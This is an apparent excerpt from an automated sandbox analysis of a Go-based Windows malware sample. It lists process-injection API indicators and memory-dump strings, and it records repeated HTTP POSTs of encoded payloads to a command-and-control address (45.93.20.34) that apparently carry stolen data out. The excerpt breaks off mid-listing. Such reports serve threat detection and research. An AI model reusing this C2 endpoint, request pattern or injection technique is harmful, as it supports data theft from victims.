"00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "IsValidLocale"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "EnumSystemLocalesW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "SysFreeString"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "lstrcatA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp")23:T475," mMlx5yZ2VHCtfUZDK4itGqJEW5xUg0lBanYgbw9WGiVaIfQ3w0CGOrEvWr/uHHLN6p9RPx/23/hDIOrkwJcxVltSUYYWDH/12hrp....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 7780 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 368 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 36720 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 73136 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 233328 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 80408 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 102260 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 240612 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 466376 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mOEwpGUzBWGHYEVMbNyvAvURBM8G1xFTamFoUx9FDzRMLbM9lwSNI/dWWr63ECPLz9Qjax/SxYsyJeWsx8BlV0J1V44UDl3+q0GV....... POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 160 Connection: Keep-Alive Cache-Control: no-cache with payload ==> mMlx5yZ2VHO7d09Ueu35V75WX9ULxQYCNGM+UEsQD2FOebBrllbYKvBeDLjvTXnOmdMuaB7SlI5kJLL+wJIzVRMmAt0TC1v3rhCd.......2f:T525,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") file/memory contains long string with (Indicator: "ResumeThread"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") file/memory contains long string with (Indicator: "SetThreadContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") file/memory contains long string with (Indicator: "GetThreadContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") file/memory contains long string with (Indicator: "SetThreadContext"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") file/memory contains long string with (Indicator: "GetThreadContext"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp")30:T42c,file/memory contains long string with (Indicator: "FindNextFile"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") file/memory contains long string with (Indicator: "FindFirstFile"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") file/memory contains long string with (Indicator: "FindNextFile"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") file/memory contains long string with (Indicator: "FindFirstFile"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp")31:T535,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") file/memory contains long string with (Indicator: "ExitProcess"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") file/memory contains long string with (Indicator: "TerminateProcess"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003304.00000000.213653.00400000.00000004.mdmp, 00000000-00003304.00000000.213653.F7350000.00000004.mdmp, 00000000-00003304.00000000.213653.F73F0000.00000004.mdmp") file/memory contains long string with (Indicator: "TerminateProcess"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp")32:T6ba,"POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 136 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 7780 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 368 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 36720 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 73136 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 233328 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 80408 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 102260 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 240612 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 466376 Connection: Keep-Alive Cache-Control: no-cache" "POST /20e1a9f6de594e28.php HTTP/1.1 Content-Type: application/json Host: 45.93.20.34 Content-Length: 160 Connection: Keep-Alive Cache-Control: no-cache"33:Te8d,Found string "chacha8" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") file/memory contains long string with (Indicator: "aes"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "aeshashbody" (Indicator: "aes"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "internal/chacha8rand/chacha8.go" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found string "internal/chacha8rand/chacha8_amd64.s" (Indicator: "chacha"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") file/memory contains long string with (Indicator: "aes"; File: "PCAP") Found string "chacha8" (Indicator: "chacha"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") Found string "*chacha8rand.State" (Indicator: "chacha"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") Found string "internal/chacha8rand" (Indicator: "chacha"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") Found string "???pc= Gadxaesshaavxfmaintmapbindallgallprootitabsbrkidledeadsync is LEAFheapbase at Has of ) = <==GOGC] = pc=true+Inf-Inf: p=cas1cas2cas3cas4cas5cas6" (Indicator: "aes"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp, 00000000-00003304.00000000.213653.CD811000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp, 00000000-00003304.00000000.213653.CD811000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp, 00000000-00003304.00000000.213653.CD811000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; Source: "00000000-00003304.00000000.213653.CD689000.00000002.mdmp")34:T75d5,Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=VirtualAllocExfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many l" (Indicator: "CertOpenStore"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "inksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "inksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "scriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g statusbad runtime" (Indicator: "CryptReleaseContext"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goWow64GetThreadContextWow64SetThreadContextlink has been severedpackage not installedblock device requiredstate not recoverableread-only file syst" (Indicator: "CertOpenSystemStoreW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goWow64GetThreadContextWow64SetThreadContextlink has been severedpackage not installedblock device requiredstate not recoverableread-only file syst" (Indicator: "CryptAcquireContextW"; File: "28df48dc92fe19a9d0948e31cc86c97157034b1e314a75f2294c0ea4f34548a6.bin") Found api reference "version: freeIndex is not 